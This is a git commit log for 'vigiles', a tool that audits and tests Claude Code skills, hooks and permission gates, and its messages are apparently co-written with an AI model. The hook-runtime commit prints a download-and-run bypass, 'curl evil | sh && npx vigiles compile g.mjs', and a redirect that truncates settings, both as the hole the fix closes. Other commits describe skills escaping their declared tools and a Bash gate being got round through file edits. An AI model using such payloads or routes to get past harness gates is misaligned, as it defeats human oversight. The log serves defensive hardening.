mirror of
https://github.com/zernie/vigiles.git
synced 2026-09-14 20:53:57 +08:00
zernie
e782c8b0bf
* feat(test-coverage): deliver untested-skill as an edit-time nudge
The `untested-skill` rule was already stated correctly, but it only ran
inside `vigiles lint` — which someone has to remember to type. A rule that
fires only when invoked by hand is prose, not policy.
`skillTestNudge` reuses the SAME detector (`findUntestedSurfaces`) at the
moment a skill/agent surface is edited, and is wired into the existing
PostToolUse entry rather than adding a fourth hook or a new CLI verb.
Two things it deliberately does:
- It distinguishes "no test at all" from "has a harness but was never
EVALUATED". An edit to a SKILL.md is usually an edit to the description,
i.e. to the trigger surface, and a deterministic harness structurally
cannot tell you whether a description still fires.
- It hands off to the `test-harness` skill instead of saying "write a test".
An agent already knows it needs a test; what it does not know is with
what. A nudge that restates the obligation and withholds the vocabulary
is the failure this replaces.
This also corrects a backwards gate: the existing lock nudge is self-gating
on a committed lock, so a repo that already tests got reminded while a repo
that had never written a test heard nothing at all.
* fix(test-harness): name the observation vocabulary, and fix a broken example
Measured on the four questions that actually missed in live work (recorded in
examples/harness/dogfood/test-harness.gaps.trigger.eval.mjs), the skill fired
25% of the time — against 90% on the prompts it was authored with.
Two matched prompt sets, Russian and English, scored identically (25/25),
prompt for prompt, which rules out a language effect: the gap was conceptual.
The description enumerated SURFACES ("a hook fires or blocks", "a skill
triggers", "injected context lands") and never named the OBSERVATION
vocabulary — which tools a run called, whether it stayed inside its declared
allowed-tools, what it wrote, how to intercept a call without executing it.
Half the real questions are asked that way, and they landed on nothing.
- description: add the observation half (460 chars, within the 500 budget).
- new "Step 0.4 — Observing a run": maps each of those questions to the API
that already ships. Its absence is why an agent working in this repo
reinvented parseToolCalls, snapshotTree/diffTrees, interceptTools and the
effect-boundary tier in a single session.
- state the one real asymmetry rather than imply coverage: files have
assertWroteOnly, tools have only the black-list notTool.
- fix the deterministic-tier example, which imported `scriptModel` from
`vigiles/testing`. It is not exported there — deliberately, to keep that
entry point harness-agnostic — so the example returned undefined.
After: 100% on the field-miss set (RU and EN), recall held at 90% on the
authored set with false-positive 0% / precision 100%.
* feat(testing): onlyTools + skillContract — verify a skill against its own declaration
A SKILL.md declares its capability surface in `allowed-tools:` and nothing ever
checked that a run stayed inside it. That is this project's own thesis pointed
at its own file format: the declaration is prose until something mechanical
reads it.
The gap was a missing half of a symmetry the file surface already had:
| "not this one" | "nothing but these"
files | assertNoWrite | assertWroteOnly
tools | notTool | (nothing)
`notTool` can only forbid the calls a test author thought of, and the set of
undeclared tools is unbounded — so "it stayed inside its contract" was not
expressible.
- `onlyTools(allowed)` — the white-list check. Reports every distinct offender,
not just the first. FAILS on a trace that recorded no tool calls, mirroring
`assertWroteOnly` refusing a result that never recorded writes: an uncaptured
run is indistinguishable from a tool-free one, and passing it asserts nothing.
- `skillContract(dir)` — reads the frontmatter and hands back ready checks
(`activation`, `surface`). No new assertion machinery and no third entry
point: a contract is a bag of ordinary `Check<Trace>`s, so it composes into
both the deterministic and eval tiers unchanged.
Two states are findings rather than clean bills, and both fail instead of
passing vacuously:
- `undeclared` — no `allowed-tools:` line, so the skill inherits EVERY tool.
Reporting "no violations" would present the widest surface as the cleanest.
- `malformed` — frontmatter that isn't valid YAML. A strict loader reads no
contract, so the declared set is unknown rather than empty. Observed live
while writing this change: one unquoted `: ` inside a description silently
voided a skill's whole tool contract, and the audit correctly reclassified it
as inheriting everything.
The `Skill` activation call is exempt — it is the harness's own loading
mechanism, appears in every trace, and is never listed in `allowed-tools:`, so
counting it would fail every contract on every run.
Honest limit, stated in the skill rather than implied away: `onlyTools` compares
tool NAMES, so a narrow entry like `Bash(node x.mjs:*)` is satisfied by any
`Bash` call. Scope inside a tool stays unverified.
* docs(dogfood): record the measured numbers, and correct an overstated claim
The commit that added the observation vocabulary quoted "100% RU and EN". That
was measured on a 594-char variant which did not ship: it tripped the linter's
own 500-char description budget, so the text that shipped is the 460-char one,
which measures RU 75% / EN 100%.
The table now records all four variants, and states plainly what the data does
NOT support — at n=8 the 75/88/100 spread across the fixed variants is one to
two runs, so it does not establish that longer wins. The shipped text defers to
the budget rule rather than overriding a documented heuristic on evidence that
cannot distinguish the alternatives.
What the data does support is unchanged and large: naming the observation
vocabulary moved the field-miss set from 2/8 to 6-8/8, and the pre-fix RU and
EN sets scored identically, prompt for prompt, which rules out a language
effect and locates the gap in the concept.
* feat(coverage)!: one detector — colocation. Remove declaration and mention
BREAKING: `untested-*` coverage is now decided by placement alone. A
`vigiles:covers` declaration and a name-mention in a test's code no longer
confer coverage. Repos relying on either will see their untested counts rise.
There were three detectors and they were never three STRENGTHS of evidence —
they were three NAMING CONVENTIONS, all answering "does this surface's name
appear near a test?" and none answering "did anything run against it?".
Ranking them implied a precision that did not exist.
Measured on this repo before the change, `mention` supplied 9 of 10 covered
surfaces. Reading what credited what: three were real dedicated evals that
colocation could not see, and at least three were FALSE — `hooks/pre-edit.sh`
and `hooks/post-edit.sh` were credited by `test-coverage.test.ts`, i.e. the
coverage detector's own suite naming them as fixtures. The detector granted
coverage to hooks because it tested itself against them.
`declared` fared no better in practice. Its first real use in a consumer repo
declared a conformance LINT over 21 skills as coverage OF those 21 skills,
moving that repo 31 untested → 16 while nothing new was tested. It also needed
a guard assertion to stay honest: a mechanism watching the mechanism.
Colocation is kept because it cannot drift by construction — the test lives in
the surface's directory, so deleting the skill deletes its test, renaming moves
both, and `ls` answers the question without running anything.
Consequences, all deliberate:
- the detector no longer READS test files, only lists their paths, so coverage
can no longer be changed by editing text inside a test;
- comment-stripping, declaration parsing and evidence ranking are deleted;
- a good test living elsewhere now counts for nothing until it is moved next to
its surface. That is the intended pressure.
Honest remaining hole, now printed on every run rather than left to be
discovered: colocation says the file EXISTS, not that it RAN — an empty
`foo.eval.mjs` still counts. Closing that is a condition on this rule (a run
reporting >0 checks via the existing CHECK_COUNT channel), not a fourth kind.
Real cost: this repo goes 13 untested → 23, mine goes 31 → 36. Both numbers
are now true.
Tests: the removed tiers are pinned as INVERSIONS rather than deleted, so
re-introducing either fails the suite.
* feat(eval): containment comparison + a diagnostic for the confident zero
Both come from building a consumer's trigger suite (2026-08-11) and hitting the
same class of failure four times.
`compareContainment(weak, strong)` answers a question the model floor makes
people ask and nobody has measured: is a WEAKER model a valid lower bound? The
worst-case argument — tune against the weakest supported model, anything
stronger is covered — is valid only if everything that fires on the weak model
fires on the strong one. If it does not, the weak model is not a floor, it is a
DIFFERENT router, and tuning against it optimises a configuration nobody runs.
Selection is routing, not raw capability, so this is genuinely open.
The verdict separates the two directions on purpose: weak-only prompts are
counterexamples, strong-only prompts are the documented under-selection and NOT
a failure. Conflating them is how a real result gets read as a bug.
`formatTriggerRateReport` now names the setup causes when NOTHING fired on any
prompt. Three separate wiring mistakes each produced a confident, well-formed
0% — a bare id where the namespaced one was required, `pluginDir` where a loose
`skillsDir` was, and a missing `fixture` so every prompt asked about a file that
did not exist. Two were briefly written up as findings about the skills before
being caught. A zero that looks exactly like a result is worth a sentence about
why it usually is not one.
Deliberately only on a TOTAL zero: a partial rate is a real measurement and is
left alone, because a checker that second-guesses good data gets ignored and
then is not there for the case it exists for.
* docs(test-harness): document containment + the confident-zero trap
Answers "did you update the docs and the plugin?" — no, and both needed it.
docs/harness-testing.md gains two subsections under trigger-rate: the total-zero
triage (three setup causes, in the order they bite) and the containment
comparison, with the two directions kept apart — weak-only prompts are
counterexamples, strong-only ones are the expected under-selection the sonnet
floor exists for.
skills/test-harness/SKILL.md gains a row for `compareContainment` and, above the
tier table where an author will actually hit it, the rule that a 0% on EVERY
prompt is a wiring bug until proven otherwise. That is the failure this skill's
reader is most likely to mis-report, because it is well-formed and reads like a
verdict on the description.
`compareContainment` now states its own honest limit: it is harness-agnostic and
will run on Codex reports unchanged, and should not be trusted there yet. Codex
emits no skill-selection event, so `fired` is inferred and the tier is flagged
experimental — and that inference error lands exactly where this function looks,
manufacturing weak-only entries out of noise. A containment verdict is only as
strong as its weakest input signal.
Description budget and frontmatter still lint clean.
* trigger-containment: record the measured verdict — containment does not hold
21 skills x 4 prompts, one trial each, whole-harness against 37 competing
skills, haiku vs sonnet: 3 of 84 shared prompts fired on the weak model and
not the strong one, and one skill scored haiku 1.00 against sonnet 0.75.
The module header claimed nobody had measured it; that is no longer true.
Stated as 'containment is not established' rather than 'it breaks often' —
at one trial per prompt three breaks could be dispersion, and rejecting the
worst-case argument only needs the implication to be unproven.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): a skill naming a sibling skill that does not exist
danglingRefs matches PATHS in EXECUTABLE sources and skips prose by design,
so a skill referring to another BY NAME — the reference agents actually
follow — was checked by nothing. A rename breaks every mention silently:
nothing crashes, the model reads a route to a skill that is not there and
does something adjacent.
NEAR-MISS, not a name check, for precision. Flagging every backticked kebab
token would fire on node-fetch, pull-request, claude-code — and a checker
that fires on clean input is muted within a day. So it asks the narrower
question: is this token almost a skill that exists? Measured on a 38-skill
corpus: 0 findings clean, 1 finding with a single character removed from
one reference, naming the intended target.
Folds into the existing broken-reference deduction — no new verb, no new
category. The report field is optional because absence is not a claim.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(testing): commandsIn + mustInclude/mustNotInclude — a document's rule about its own commands
A skill or runbook states a rule in prose and ships commands that must obey
it: 'always pass curl -g, or bracketed params glob and the request fails
SILENTLY'. Rule and violation sit in the same file three paragraphs apart
and nothing compares them — prose isn't policy, at its smallest, aimed at
the author's own document.
vigiles cannot INFER such a rule; what was missing is a cheap way to DECLARE
it. Measured on a real skill 2026-08-11: expressing one rule took ~95 lines
of hand-rolled markdown parsing around ~5 lines of actual rule, and at that
price the check does not get written. With this, the test IS the rule.
Two decisions that keep it honest: extraction is fenced-blocks-only, so the
prose STATING the rule is not read as a violation of it; and an empty match
FAILS rather than passing vacuously, because a rule that held over zero
commands reads exactly like one that held over twenty.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* docs(doc-commands): the prior-art survey, including what is NOT novel here
Four quadrants, and this sits in the empty one: extraction (codedown),
extraction+universal linter (markdown-shellcheck), execution (mdsh, doctests),
matchers (vitest/jest). The nearest neighbour applies a UNIVERSAL correctness
checker; this applies the rule the document states about itself, which no
general linter can know and no doctest can express.
The extraction half is NOT novel and now says so, with the reason it is
reimplemented anyway (30 dependency-free lines vs vendoring an awk script)
and the composition worth stealing: hand the structured commands to a real
shellcheck when one is installed.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(lethal-trifecta): a skill's fence is `disallowed-tools`, not `allowed-tools`
A skill's `allowed-tools:` is a PRE-APPROVAL, not a restriction. Claude Code's
docs say so outright, under "Pre-approve tools for a skill":
"The `allowed-tools` field grants permission for the listed tools during the
turn that invokes the skill... It does not restrict which tools are available:
every tool remains callable... To remove tools from Claude's available pool
while a skill is active, list them in `disallowed-tools`."
Two bug reports say the same from the field, both closed as not-planned:
anthropics/claude-code#18837 (Jan 2026) and #37683 (Mar 2026) — the second
reproduced INTERACTIVELY, on a live model, on a different CLI version, with the
skill spawning an `Explore` subagent it had told itself never to use. Reproduced
locally under `claude -p` (CLI 2.1.227): a skill declaring
`allowed-tools: WebSearch, WebFetch` read a private file and wrote a new one.
`disallowed-tools` was then measured across 9 runs and DOES restrict. Cleanest
control, one run: the same `Read` succeeds BEFORE the skill activates and is
denied after — "Permission to use Read has been denied." — and through a `Task`
subagent in the same run, "Error: No such tool available: Read. Read is disabled
for this session, in subagents as well as here." Positive controls first (without
the line, `Read` succeeds); refutations failed (a `bogus-tools:` key blocks
nothing; an unactivated skill's fence does not apply).
So the check was reading a field that bounds nothing. It UNDERSTATED risk — "18 of
38 units hold the trifecta" on a corpus where all 38 did — and it CREDITED a narrow
`allowed-tools` with a reduction that does not exist. That is this project's own
thesis, a declaration present is not a rule enforced, violated by this project.
Dogfood, before and after, on this repo: Safety 100 -> 70. All four skills here
declare narrow `allowed-tools` with no web tool, so the old reading called the
whole surface clean.
The SHAPE changed too, not only the arithmetic. Counting every unfenced skill as
its own finding fires on ~100% of every real harness, and a check that fires on the
ecosystem default is muted within a day — taking the hard findings with it. So:
- `fence: "none"` (no `disallowed-tools:` line) is ONE aggregate line plus the
skill names, in the report, the Safety ring, and `lint` (where it also stops
emitting one GitHub annotation per SKILL.md). It is one fact about the harness,
not N facts about N skills.
- `fence: "ineffective"` (a fence that closes no leg) keeps its own line: rare,
per-skill, and a real mistake — same shape as disallowed-tools-contract's
"this entry blocks nothing".
Presentation differs; SEVERITY AND GRADE DO NOT. Both are "advisory" and both count
once toward `trifectaExposure`, so collapsing the presentation never shrinks the
penalty, and an ineffective fence (capability <= no fence) can never grade worse
than no fence — the non-monotonicity this rule was already fixed for once.
A leg is closed only when every built-in that supplies it is denied. That supplier
catalog is deliberately WIDER than the allow-side one: on the allow side a missing
tool under-states risk (safe), on the deny side it would over-state safety. Filtered
against the dialect's own catalog so a Claude Code author is never told to deny
Codex's `shell`. Stated limit, in the rule doc: a session-provided MCP server can
re-supply a closed leg, so "closed" means closed among the built-ins.
SUBAGENTS ARE UNCHANGED. A subagent's `tools:` is a documented rail that really
does bound the unit; `lethalTrifectaIssues` and every agent path are untouched.
Tests pin the point directly: a skill with `allowed-tools: Read, Grep` and one
declaring the entire catalog produce byte-identical findings, and a narrow list
still yields a finding — that test fails if anyone reintroduces the old reading.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore(api): record commandsIn/mustInclude/mustNotInclude in the testing surface
api:check has been red since 28ec597 — the new doc-command helpers were
exported without regenerating api-surface/. The diff is exactly the four
intended additions (commandsIn, DocCommand, mustInclude, mustNotInclude)
and nothing else.
* fix(scan-files): skillRefIssues was added to one report builder, not both
scanPlugin (disk) and scanFiles (in-memory, browser-safe) build the
AuditReport separately, and 226dee9 added skillRefIssues to the first
only. The byte-parity test caught it on all four plugin fixtures — which
is the one thing holding the two builders together.
skill-refs.ts has zero imports of its own, so the browser engine's graph
is unchanged.
* fix(coverage): a colocated test must be NAMED after the surface and SIT BESIDE it
One rule for all three kinds. A skill was exempt from both halves in turn, and
the exemption came from two different accidents.
DEFECT 1 — colocation credited a DIRECTORY, not a test.
`isColocated` required a name-prefixed basename for agents and hooks and, for a
skill, accepted ANY file under the skill's directory. Those are different
claims: the second answers "is there a test NEAR this skill?", not "is there a
test FOR it". It is the substitution the removed `mention` tier made — a name
near a test taken for a test — reached by a different route, and it arrived
WITH the simplification rather than surviving it.
Observed live: a consumer repo's `.claude/skills/paper-pipeline/` holds six
`*.eval.mjs`, exactly one about `paper-pipeline`; the rest measure other skills
and sit there because that directory was the pipeline's home before tests moved
next to their subjects. One is literally `grade-paper-writing-ablation.eval.mjs`
— named after a different skill in the same install. The orchestrator scored as
covered and had no test of its own until someone wrote one by hand.
Measured on a fixture reproducing that shape (two skills, one foreign-named
eval): before, `✓ all 2 surface(s) have a test or eval`; after, the orchestrator
is flagged and the finding names the exact path to add.
DEFECT 2 — a subdirectory counted as beside.
Removing that allowance was measured, not assumed. Across two real repos exactly
ONE nested test file exists: `verify-citations/scripts/verify-cites.test.mjs`,
a unit test for a script the skill BUNDLES, pinning that script's pure reducer.
It is a good test of a script and not a test of a skill — the distinction this
whole rule turns on — and the skill carries its own two colocated files anyway.
So the allowance credited nothing anyone wanted, while costing the single
property that makes colocation worth having over a parallel test tree: `ls`
answers "is this tested?". With a subdirectory permitted, it takes `find`, and
two permitted shapes become a choice at write time and a lookup at read time.
BREAKING for a repo whose colocated test is named otherwise or kept one level
down. Renaming or moving the file is the whole migration, and the finding prints
the path to use.
Also: a single-skill target now takes its identity from the declared `name:`
rather than the checkout directory's basename. Under the old rule that name was
never read; under the new one, deriving identity from the path would ask an
author to name their test after their CI workspace.
DEFECT 3 — removing `vigiles:covers` would have migrated in silence.
Up to 15.0.2 the untested finding told the reader to "mark what it covers with
`vigiles:covers <surface>`". That tier is gone. Someone who followed the
instruction gets no error on upgrade: the marker becomes an ordinary comment,
coverage drops, the untested count rises, and nothing says why.
`UntestedReport.legacyCoversFiles` (optional, so an older report still parses)
carries the test files still holding it, and the report prints one line naming
them and what changed. It is printed in BOTH branches — a repo can lose the tier
and still be at zero untested, and would otherwise never hear about it. Reading
those files does not feed coverage; nothing inside a test can change it now.
docs/rules/untested-skill.md described the old asymmetry as current behaviour and
now states the single rule, with the two file names and what each buys.
Tests: both halves for each behaviour — fires on the planted defect, quiet on the
obeyed form — including the real bundled-script case. Mutations, each failing on
its own assertion: dropping the name check (restores defect 1, and also reddens
the two pre-existing agent/hook tests), suppressing the migration note, and
taking the root-skill identity from the path. Full suite 2573 passed; the single
failure (`a blocking Stop hook forces the agent to keep working`) reproduces on
the branch base and is this environment's broken TLS, not this change.
* fix(hook-runtime): a broken load path wedged the repo with no way back
Observed live 2026-08-10, not reasoned about. `git merge` left conflict
markers in `package.json`. Node then refuses to read that package config,
so the bare specifier `vigiles/hook` no longer resolves, so NO compiled
hook loads, so the PreToolUse Bash gate refused EVERY command --
including `git merge --abort`, the only command that undoes the cause.
Unreachable from inside the session; it was fixed by hand-editing the
JSON, because file tools do not go through PreToolUse(Bash).
Reproduced end to end before touching anything (src/hook-load-wedge.test.ts):
a fixture project, a compiled hook importing `vigiles/hook`, the real
`hook-runtime run-program`. Healthy: `git push --force` exit 2,
`git merge --abort` exit 0. Conflicted package.json: EVERY command exit 2,
with `vigiles: cannot load hook program .claude/hooks/guard.hook.mjs` --
naming the hook, which is fine. Sending the author to the wrong file was
the expensive half of the incident.
Same shape as the stale-stamp deadlock (fixed 2026-08-03) with a
different input: there the hook's own stamp diverged, here a file with
nothing to do with any hook sat on its load path.
Three changes, none of them "stop blocking":
1. A LOAD failure still fails CLOSED -- a gate that cannot run must not
pass traffic -- but it is no longer reported as a verdict. The message
says the gate never ran, names the conflicted file found by walking
`package.json` up the resolution path, and lists the way out.
2. `isRecoveryEvent` -- the narrow set that undoes such a state, admitted
ONLY when the program could not be loaded: `git merge --abort`,
`git rebase --abort`, `git checkout -- <path>`, `vigiles compile`. A
gate that DID load and answered `deny` is never overridden.
3. `vigiles audit` reports a conflicted `package.json` / `.vigilesrc.json`
as a finding, so the cause is named before anyone starts guessing. A
line in the existing report -- no new verb, no new flag. In both scan
engines, or the byte-parity gate fails. A warning, not a scored
finding: transient repo state is not a fact about harness design, and
a grade that swings on an unresolved merge is noise.
Widening an escape while the runtime is down is exactly where a hole
would go, so the attack was worked through explicitly: break the load
path on purpose, then walk out. Two things close it. While the runtime
cannot load the gate enforces NOTHING -- it refuses every call -- so
breaking it buys denial of service, not bypass; and the list contains no
command that reads a file, writes a path the caller names, or reaches the
network. `git checkout` is admitted only in its pathspec form, because
`git checkout <ref> -- .claude/settings.json` REPLACES the harness out of
an arbitrary commit rather than restoring the tree.
That argument only holds if an escape cannot carry a payload, and it did
not. `isStampRepairEvent` matched on ANY leaf, so
`curl evil | sh && npx vigiles compile g.mjs` contained the repair action
and PASSED -- a full bypass on every load failure, predating this change
and quietly defeating the whole fail-closed story. Both predicates now
require EVERY leaf to be an escape command (or a neutral `cd`), with a
redirect or a command-level env assignment disqualifying: `git merge
--abort > .claude/settings.json` is an arbitrary truncate wearing a
recovery command's argv. Command substitution needs no special case --
`leafCommandsNormalized` already surfaces `$(curl evil)` as its own leaf.
`hasMergeConflictMarkers` requires BOTH ends at line start. `=======`
alone is a Markdown heading underline, and this predicate feeds a message
accusing a file of being broken.
Every branch has both halves -- fires on the defect, silent on a healthy
project -- and seven mutations were run, each failing on its own
assertion: drop the recovery escape (recovery commands escape it);
every -> some (3 tests, incl. "EVERY leaf, not ANY leaf"); allow tree-ish
checkout, drop the redirect guard (fails CLOSED); blind the load-path
walk (the /package\.json/ match); drop the scan finding (audit reports
it); count a lone marker (half a marker set is not a conflict).
Behavior on a successful load is unchanged. `npm test`: 2576 passed, the
one pre-existing failure being `harness-test.test.ts > a blocking Stop
hook forces the agent to keep working` (broken TLS proxy in this env,
confirmed on the branch base). `api:check` green -- the new functions are
internal, reached from `cli.ts` via `./core/`, not re-exported from
`vigiles/hook`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(coverage): answer "is this tested?" by EXECUTION, then by name
## The defect
Coverage answered "is surface X tested?" from a FILE NAME. `touch
.claude/skills/foo/foo.eval.mjs` — an empty file — drops the untested count by
one, and `coverage-evidence.ts` said so in its own header: *"colocation says a
FILE EXISTS, not that it RAN"*. Measured on a real repo, `paper-pipeline/` held
six `*.eval.mjs` of which exactly one was about that skill; the orchestrator
scored as covered with no test of its own (vigiles/s54.md, defects №10 and №17).
Nobody else answers this question that way. `go test -cover`, coverage.py, nyc
and tarpaulin all answer from EXECUTION and use the name only to FIND the file
to run. A skill cannot be run without a model, so the name survives — but as a
fallback, not as the answer.
## The design
Order of answers is **execution → name → nothing**, and the report says which
one it used ("MEASURED BY A RUN" vs "the file EXISTS, not that it ran").
Attribution is DERIVED by the machinery, never declared by an author — a
`surface:` field would be `vigiles:covers` with extra steps, and that tier was
removed for exactly this reason. Each tier reports what it already knew it was
pointed at:
runScript / runHook → the COMMAND LINE it executed (plus `opts.env`,
because `runHook('"$GUARD"', …, {env}) `is the
documented idiom)
runHarnessTest / eval / → the TRANSCRIPT: the Skill call that RESOLVED.
measureTriggerRate Not the install set — a trigger-rate run installs
competitors on purpose, and crediting the set
would credit a skill for LOSING selection.
The channel is the existing CHECK_COUNT scratch file. A run with nothing to
attribute writes the bare number it always wrote, byte for byte; only a run with
something to say writes JSON. Both are readable, so an older runner meeting the
new form reads "no report" — the legacy branch, a plain pass, never a wrong
verdict.
`vigiles test` / `vigiles eval` resolve the probes against discovered surfaces
(unresolvable ⇒ dropped, never guessed) and merge them into `.vigiles/coverage.json`
alongside the existing flight-recorder ledger. No new verb, no new flag.
## What deliberately does NOT count
- A run against OLDER text. Each record stamps the surface's content hash at run
time; edit the surface and it becomes "measured, but not this version",
reported on its own line and granting no coverage. Silently counting it is the
PIPELINE-STATUS disease — a tick against a document rewritten afterwards.
- A FAILED script. It exercised the surface but established nothing.
- A harness run, for the eval tier. Free deterministic runs cannot answer "does
this fire?", so that gap stays open until a model runs.
- Anything at all with no artifact: a fresh clone, CI and third-party repos
behave exactly as before — verified on a real 38-surface corpus, 12/14 before
and after, same provenance line.
## Proof
12 mutations, each killing one load-bearing line, each dying on its OWN
assertion (control green at 108):
execution outranks colocation · a stale run must not count · the eval tier is
not answered by a harness run · stale notice only when nothing fresh · a
command probe never resolves to a skill · a harness run must not erase an eval
record · a failed script contributes nothing · an errored Skill call
attributes nothing · the env is scanned · silence stays the bare number · a
bare number is still readable · runScript attributes what it executes
End-to-end on a throwaway plugin: untested → `vigiles test` → "1 MEASURED BY A
RUN" → edit the hook → "run record from BEFORE their current text" → re-run →
measured again. A red harness records nothing.
`npm test`: 2612 passed, 1 pre-existing failure (harness-test.test.ts blocking
Stop hook — broken TLS proxy in this environment). `api:check`: no drift.
The browser twin has no filesystem and therefore structurally no run records;
that is stated in `test-coverage-files.ts` rather than left to be inferred, and
`countEvidence` reports `executed: 0` there so the byte-parity gate holds with
no special case.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage)!: TypeScript is first-class, the paid tier is an INFIX, and the one name a foreign runner claims is gone
Three changes that only make sense together; any two without the third leaves a
money hazard open.
1. THE PAID TIER IS `.eval.`, NOT `.eval.mjs`.
The split was `path.endsWith(".eval.mjs")`. The moment TypeScript is accepted,
`foo.eval.ts` falls into the `harness` branch — a file that spends real model
calls, classified as the FREE deterministic tier and run on every push, in CI.
Accepting TS without fixing this first is worse than not accepting it, so this
lands first in the same commit.
2. `*.harness.{ts,mts,cts,js,mjs,cjs}` AND `*.eval.{…}`.
`.harness.ts` matched nothing at all, so a TypeScript project got no credit for
a test it had written. `.mts`/`.cts` are real (TS 4.7+) and Node 22 runs all
three directly — type stripping, no toolchain. Measured, not assumed.
3. `*.test.*` IS NO LONGER A VIGILES TEST.
Six entries used to match the default patterns of vitest and jest EXACTLY, read
out of the installed packages rather than from memory:
vitest **/*.{test,spec}.?(c|m)[jt]s?(x)
jest **/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) ← everything in that directory
vigiles never RAN those files, but crediting them made the name reasonable — so
an author writes `skills/foo/foo.test.mjs`, and `npx vitest` runs it. A skill
test calls runHarnessTest/measureTriggerRate: it spawns a model. The accident is
a silent bill, on every push. Measured in a spike: a bare project with that file
and a plain `npx vitest run` executed it, so "it lives under a dot-directory, so
nothing else will find it" is false.
With those gone the guarantee is one sentence: NOTHING VIGILES RECOGNISES IS
MATCHED BY A DEFAULT VITEST OR JEST RUN.
BREAKING: a repo whose hook is covered by an ordinary `pre-edit.test.ts` loses
that credit. The migration is a rename and the finding prints the exact path.
Taken over the alternative — keep the entries for hooks/agents, drop them for
skills — because a rule with a per-kind exception is what this file just spent a
day removing.
4. AND THE MONEY IS GUARDED WHERE IT IS SPENT.
`src/core/foreign-runner.ts`: `spawnAgent` — the single composition root every
paid path reaches — refuses to start when `process.argv[1]` identifies vitest,
jest, mocha or ava. Naming is a convention someone can break; this cannot be
broken by naming a file anything.
NOT an environment variable. `process.env.VITEST` was proposed and rejected: it
can sit in a `.env` or a CI environment for unrelated reasons, and a guard that
fires on correct input is a guard people delete. `argv[1]` is what node was
actually started with. Measured: under `npx vitest run` it is
`node_modules/vitest/dist/workers/forks.js`; under `node foo.eval.mjs` it is the
file; under `vigiles eval` it is the script vigiles spawned.
Positive identification of a known runner, not "am I the entry point" — the
conservative direction, since an unrecognised wrapper runs rather than a
legitimate scheduled eval being blocked by a pattern nobody predicted. Refusal
throws rather than returning a failed run: a run result would be recorded and
averaged, and "0% trigger rate" is exactly the confident zero this project keeps
mistaking for a finding.
Tests: both halves for each behaviour, including the quiet ones (a direct `node`
run is not a foreign runner; a repo that merely HAS vitest installed is not
running under it). One test was INVERTED — it used to assert `*.test.ts` counts —
and kept as an inversion so a re-introduction fails it. Four mutations, each
failing on its own assertion: restoring the `.eval.mjs` suffix, restoring
`*.test.*` to the globs, dropping TS from the harness glob, and disabling the
runner check.
Full suite: 2619 passed. Two failures, neither this change — `a blocking Stop
hook forces the agent to keep working` (this environment's broken TLS proxy,
reproduces on the branch base) and one `cli.test.ts` case that passes in
isolation (114 passed, 154s file — load-related under the full run).
api:check: no drift. Corpus at /home/user/mine unchanged: 12 · 14 · 26.
* feat(coverage): write the test in the project's own language — TypeScript detected, config only to disagree
`.harness.ts` is now accepted (previous commit), but both places that NAME a test
still hard-coded `.mjs`: the untested finding ("add e.g. …") and the generator in
scaffold-test.ts. A TypeScript project was told to add a JavaScript file.
`core/test-file-ext.ts` decides once, and both sides read it — a generator that
writes `foo.harness.ts` while the finding says `foo.harness.mjs` teaches the
reader that the tool disagrees with itself. A test pins that they cannot drift.
DETECTION FIRST, CONFIGURATION ONLY TO DISAGREE — the Rails/Next posture the rest
of this rule already takes. A `tsconfig.json` or a `typescript` dependency is
enough; `testExtension` in .vigilesrc.json exists for what detection cannot get
right (a monorepo with mixed packages, a JS project carrying a stray tsconfig, a
deliberate choice to keep tests in JS).
🔴 `init` DOES NOT WRITE THE FIELD, on purpose. A value recorded at
initialisation goes stale in silence: the project migrates to TypeScript six
months later and the config still says otherwise, with nobody remembering it is
there. Detection re-runs every time; an empty config means "I agree with all of
it".
Two decisions worth their measurements:
- `.ts`, not `.mts`. Measured on Node 22.22 in BOTH package kinds: a `.ts` file
using `import` runs in a package with `type: module` and in one without it —
type stripping detects module syntax rather than trusting the package type. The
`.mts` special case a careful reader expects here is not needed. `.mts`/`.cts`
stay accepted (they are real, TS 4.7+) but never generated.
- `.mjs`, not `.js`, for the non-TypeScript default: `.js` in a package without
`type: module` is CommonJS, and every generated test uses `import`.
A nonsense `testExtension` is IGNORED rather than honoured or thrown on: writing
`foo.harness.rb` because somebody typed `rb` produces a file no runner executes,
and the finding would then point at a path that can never satisfy it.
Tests: 8, including the quiet halves (a dependency merely NAMED like typescript
does not count; a malformed package.json decides nothing rather than throwing).
Two mutations, each failing on its own assertion: ignoring the config field, and
trusting any value it holds. api:check: no drift.
* feat(audit): a harness test named `*.test.*` is run by OTHER people's runners
Measured 2026-08-11, not reasoned about. A fixture holding nothing but
`package.json` and `.claude/skills/foo/foo.test.mjs`, then `npx vitest run`
at the repo root: `Test Files 1 passed (1)`. Vitest descended into the
dot-dir and executed the file. The assumption that "it lives under `.claude/`,
so other tools leave it alone" is simply false -- vitest's `defaultExclude` is
`["**/node_modules/**", "**/.git/**"]` and nothing else, read from the
installed package, so every dot-dir except `.git` is fair game.
Not cosmetic, because a harness test is not a unit test: it calls
`runHarnessTest` / `measureTriggerRate`, which spawn an agent. A foreign runner
that collects one spends model budget silently, in CI, on every push. The
`*.eval.*` tier is the paid one by definition, so a file carrying both an eval
name and a foreign test name is the expensive case and the message says so
outright rather than filing it under "runs unexpectedly".
Easy to walk into because vigiles ITSELF blesses these names --
`DEFAULT_TEST_SUFFIXES` accepts `.test.ts` / `.test.mjs` / ... as valid harness
tests. Our own `*.harness.mjs` / `*.eval.mjs` match no third-party default;
